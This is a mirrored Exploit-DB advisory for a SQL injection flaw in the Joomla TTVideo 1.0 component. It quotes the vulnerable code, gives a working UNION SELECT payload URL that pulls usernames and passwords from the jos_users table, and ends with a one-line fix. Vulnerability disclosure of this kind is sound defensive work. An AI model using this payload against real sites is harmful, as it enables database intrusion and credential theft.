Joomla! Component TTVideo 1.0 – SQL Injection - 体验盒子

作者： Salvatore Fresta

日期： 2010-07-27

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/14481/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

TTVideo 1.0 Joomla Component SQL Injection Vulnerability

Download link: http://www.toughtomato.com/resources/downloads/joomla-1.5/components/ttvideo/

NameTTVideo

Vendorhttp://www.toughtomato.com

Versions Affected 1.0

AuthorSalvatore Fresta aka Drosophila

Website http://www.salvatorefresta.net

Contact salvatorefresta [at] gmail [dot] com

Date2010-07-27

X. INDEX

I.ABOUT THE APPLICATION

II. DESCRIPTION

III.ANALYSIS

IV. SAMPLE CODE

V.FIX

I. ABOUT THE APPLICATION

________________________

TTVideoisaJoomla!component that makes use of the

popularvideosharingsiteVimeotocreate a video

library.

II. DESCRIPTION

_______________

Aparameterinttvideo.phpis not properly sanitised

before being used in a SQL query.

III. ANALYSIS

_____________

Summary:

A) SQL Injection

________________

The parameter cid passed to ttvideo.php when task is set

to videois not properly sanitised before being used in

a SQL query.Thiscanbeexploited to manipulate SQL

queries by injecting arbitrary SQL code.Thefollowing

is the vulnerable code:

ttvideoController.php (line 40):

function video() {

$cid = JRequest::getVar('cid', null, 'default');

ttvideo.php (line 188):

function getVideo($id) {

$db = $this->getDBO();

$db->setQuery("SELECT * from #__ttvideo WHERE id=$id");

$video = $db->loadObject();

if ($video === null)

JError::raiseError(500, 'Video with ID: '.$id.' not found.');

return $video;

}

IV. SAMPLE CODE

_______________

A) SQL Injection

http://site/path/index.php?option=com_ttvideo&task=video&cid=-1 UNION SELECT 1,2,3,4,5,6,7,8,CONCAT(username,0x3A,password),10,11,12,13,14,15,16,17 FROM jos_users

V. FIX

______

Use JRequest::getInt instead of JRequest::getVar